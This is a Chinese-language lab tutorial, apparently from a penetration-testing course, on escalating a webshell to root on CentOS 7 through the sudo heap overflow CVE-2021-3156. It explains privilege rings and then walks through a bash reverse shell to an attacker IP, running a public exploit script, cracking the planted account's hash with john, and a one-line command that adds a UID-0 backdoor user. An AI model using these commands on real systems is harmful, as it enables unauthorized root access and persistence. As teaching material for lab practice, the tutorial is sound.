A03.利用CVE-2021-3156进行特权提升
利用CVE-2021-3156进行特权提升
上传webshell以后,虽然已经能够访问web服务器的文件,执行一些命令,但由于web服务器软件通常是较低权限的用户运行的,因此webshell具备的权限也是比较低的。
通过之前使用菜刀工具连接之后执行的whoami命令,可以看到我们目前是www用户权限,我们最终目标,就是利用目标系统上存在的漏洞,进行权限提升,拥有root权限。
本节的实验需要在上一节的实验环境中完成。
权限提升的基础知识
特权提升
特权提升(英语:Privilege escalation)是指利用操作系统或应用软件中的程序错误、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行未经授权的动作。
特权提升有两种形式:
-
垂直特权提升,是通常所指的特权提升(privilege elevation),其中较低特权的用户或应用程序将能访问为较高特权用户或应用程序保留的功能或内容(例如,网上银行用户访问到网站管理功能,或者绕过密码认证措施)
-
水平特权提升,指普通用户访问到本应不能访问的为其他普通用户保留的功能或内容(例如网上银行用户A访问了用户B的网上银行账户)
Exploit,通俗的讲,指利用某个漏洞获得系统管理权限,有以下几种情况。
-
Remote Exploits:远程利用,通过网络远程利用漏洞取得管理权限
-
Local and Privilege Escalation Exploits:本地特权提升,已经能本地访问系统,但权限较低,利用后取得管理权限
远程溢出,不需要本地shell,通过指定远程主机的ip和端口,即可获得一个高权限。而本地提权,需要已经获得了一个本地shell,但权限较低,通过EXP提升权限。
Intel x86 CPU的运行级别
Intel x86架构处理器是通过Ring级别来进行访问控制的,级别共分4层,RING0,RING1,RING2,RING3。下图是x86在保护模式下的特权环。
图 1.54
Windows只使用其中的两个级别RING0和RING3,RING0只给操作系统用,RING3谁都能用。如果普通应用程序企图执行RING0指令,则Windows会显示“非法指令”错误信息。R0实际就是内核态,拥有最高权限。而一般应用程序处于R3状态--用户态。
在Windows平台没有R1和R2两个级别,只用R0内核态和R3用户态。在Linux中,还存在R1和R2两个级别,一般归属驱动程序的级别。
在权限约束上,使用的是高特权等级状态可以阅读低等级状态的数据,例如进程上下文、代码、数据等等,但是反之则不可。R0最高可以读取R0-3所有的内容,R1可以读R1-3的,R2以此类推,R3只能读自己的数据。
现代操作系统的权限分离
现代操作系统一般都至少分为内核态和用户态。当一个任务(进程)执行系统调用而陷入内核代码中执行时,我们就称进程处于内核运行态(或简称为内核态)。此时处理器处于特权级最高的(Ring 0级)内核代码中执行。当进程在执行用户自己的代码时,则称其处于用户运行态(用户态)。即此时处理器在特权级最低的(Ring 3级)用户代码中运行。一般的,应用程序是不能随便进入内核态的而是需要向OS申请,进入内核态后也只能按照既定的规程执行一些得到授权的操作,并不能执行内核的其它操作。
当程序运行的时候,其实是有两个栈的,一个位于用户态,一个位于内核态。他们之间会按照操作系统的规定进行通信。当进程处于内核态时,执行的内核代码会使用当前进程的内核栈。每个进程都有自己的内核栈。
下图是Windows系统的用户态与核心态结构。
图 1.55
下图是Linux系统的用户态与核心态结构。
图 1.56
用户态切换到内核态的三种方式
1、系统调用,也即是应用程序使用OS提供的接口调用内核功能。例如x86平台的int 80h和power rpc的sc等。
2、异常,这是一种被动切换到内核态的方法,当程序在用户态执行时,遇到了未知异常,例如缺页异常。
3、外部中断,也是一种被动切换到内核态的方法,当外设完成用户请求的操作后会发出中断信号,CPU会停止当前进程的调度,转而处理中断处理函数所定义的操作。例如硬盘读写,或者网络IO,此时也会切换进入内核态。
当应用程序进程创建并开始运行时,都处于用户态。当需要用到磁盘、网络读写等操作时候调用操作系统提供接口(系统调用)来进入内核态(方法如上)。然后执行完毕后返回用户态,在这里,一般的应用程序不能随意操作内核态数据,具有一定的保护作用。
使用nc接管shell
Nc全称Netcat,是借助tcp/ip连接来传送数据的一个工具,nc的主要功能有获取banner信息,远程控制,传输文件,端口扫描等功能,有tcp/ip连接的瑞士军刀美称。
由于菜刀工具的Shell虚拟终端有时候执行命令不会回显信息,我们使用nc工具接管菜刀工具的Shell虚拟终端。首先在控制端使用nc监听一个端口,然后在获得的webshell中反弹一个shell到控制端,反弹成功之后就可以在控制端输入命令控制目标主机了。
下面开始我们的具体实验操作。kali上自带nc,因此可以在kali虚拟机中进行nc监听,等待webshell反弹连接过来。如果没有kali,也可以下载windows版的nc,在windows物理机上进行nc监听。使用的命令为:
nc -lvp 53
然后在菜刀的Shell虚拟终端上执行:
bash -i >& /dev/tcp/192.168.142.135/53 0>&1
注意:53是指端口号,两边的端口号要相同且不被占用,kali虚拟机才会反弹shell。这里控制的目标机是没有自带nc的,所以需要使用Linux系统自带的bash命令交互环境来实现这个操作。
| 命令 | 参数解释 |
| Bash -i | 生成一个bash交互环境 |
| >& | 将联合符号前面的内容与后面结合然后在一起重定向给后者 |
| /dev/tcp/192.168.142.135/53 | 让目标主机与主机192.168.142.135的53端口建立一个连接 |
| 0>&1 | 将标准的输入与标准输出内容相结合,然后重定向给前面的标准输出内容 |
返回成功后,在webshell端可能会有一个报错提示,但不影响nc接管shell的使用,kali上接管的shell截图:
图 1.57
使用searchsploit搜索漏洞信息
查看内核版本、发行版本
使用uname -a命令获得当前系统的内核版本信息为:3.10.0-1160.el7.x86_64
使用cat /etc/*-release命令获得当前系统的Linux发行版信息为:CentOS Linux release 7.9.2009 (Core)
本地提权漏洞信息的搜索
Exploit-DB是一个面向全世界的漏洞提交平台,该平台会公布最新漏洞的相关情况,并且存储了大量的漏洞利用程序,可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作。
searchsploit是一个基于Exploit-DB的命令行搜索工具,SearchSploit使您能够通过本地的存储库副本执行离线搜索。此功能对于无法访问Internet的隔离网络的特别有用。
在Kali linux上使用searchsploit 搜索了一些本地提权的exploit,但都没有提权成功。
图 1.58
使用搜索引擎搜索了大量的资料,并搭建了多个不同版本的CentOS测试环境,最终确定了Sudo堆缓冲区溢出漏洞(CVE-2021- 3156)在当前系统中能够成功提权。
CVE-2021-3156漏洞介绍:
2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。安全研究人员表示该漏洞已经隐藏了近十年。
受漏洞影响的Sudo版本范围有:
-
Sudo 1.8.2 -- 1.8.31p2
-
Sudo 1.9.0 -- 1.9.5p1
用户可以使用非root的账户登录系统,运行“sudoedit -s /”命令进行验证。若返回如图以“sudoedit:”开头的错误,则当前系统可能存在安全风险。不受影响的系统将显示以“usage”开头的错误响应。


接下来,就是漏洞复现的时候了。我们在已经被kali虚拟机接管的shell中使用命令查看Sudo版本:sudo -V,可以看到版本是1.8.23,正好处于漏洞版本号范围内。
图 1.59
CVE-2021-3156 Exploit的下载与使用
确定存在漏洞后,我们可以去网络上寻找对应的漏洞利用脚本,在GitHub上有一个项目汇总了这个漏洞的全部信息:https://github.com/worawit/CVE-2021-3156
根据描述,下载对应的脚本文件:exploit_cent7_userspec.py,利用这个Python脚本文件,我们就可以快速达到我们的目的。下载好脚本文件后,通过菜刀工具上传到目标服务器中。
图 1.60
然后在kali的shell中查看是否上传成功,然后执行这个Python脚本文件。
图 1.61
注意,ls是查看当前目录下的文件;执行脚本的命令是:python exploit_cent7_userspec.py
下面的80可以理解成进度条,等待攻击成功。如果运行失败的话多运行几遍,这里是第二次运行成功的,截图如下。
图 1.62
可以看到脚本给我们回显了一个用户名为gg,然后权限是root的一个用户,但是密码的明文并没有告诉我们。
通过cat /etc/passwd文件,看到这个用户名和密码都被写入到了passwd文件中,这种写法不符合现在的规范,但目前Linux也兼容这种旧的方式,因此也能成功使用。现在的规范应该是将密码放到/etc/shadow文件中。
接着可以通过kali虚拟机中的工具破解这个加密后的密码:
$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2
在kali中新建一个文档1.txt,把上面显示的那行字符串复制进去,并保存。
gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash
然后新打开一个终端窗口,使用命令:
john ./1.txt
开始破解,等待一段时间后,就会返回密码:gg
图 1.63
从结果可以看到密码是gg,其实拿着这串密文,在网上一搜,就知道密码是gg了。知道账号和密码后,我们就可以使用SecureCRT这类软件直接连接了。利用已有的漏洞利用工具攻击漏洞,从而达到提权目的,这就是这一部分的主要内容。至此,提权部分就完成了。
有了root权限之后,也可以用一条命令添加用户并设置密码,如:
useradd -u 0 -o -g root -G root user1 && echo -e "1qaz2wsx\n1qaz2wsx" | passwd user1
这种方法就会将密码放到默认的/etc/shadow文件里。同时,因为使用passwd命令设置密码时需要回显,这种方法特别适合无回显的情况。
权限提升完成后,为虚拟机创建一个快照,起名为“提权”。后续的大部分实验需要在此快照上进行。
获取Exploit的其它途径
除了Searchsploit工具,Metasploit中也集成了一些提权程序,但并不完整。此外,还有一些能够根据当前系统环境,自动给出提权建议的工具。如linux-exploit-suggester,linux-exploit-suggester-2,linuxprivchecker,LinEnum等。互联网上也有一些个人搜集的exploit集合,如https://github.com/SecWiki/linux-kernel-exploits。
提权这一部分,一是查看当前系统有无配置不当,比如,给一些程序设置了SUID位;二是根据系统内核或者安装的应用程序信息,去查找漏洞点,然后根据漏洞点去找相应的exploit。

浙公网安备 33010602011771号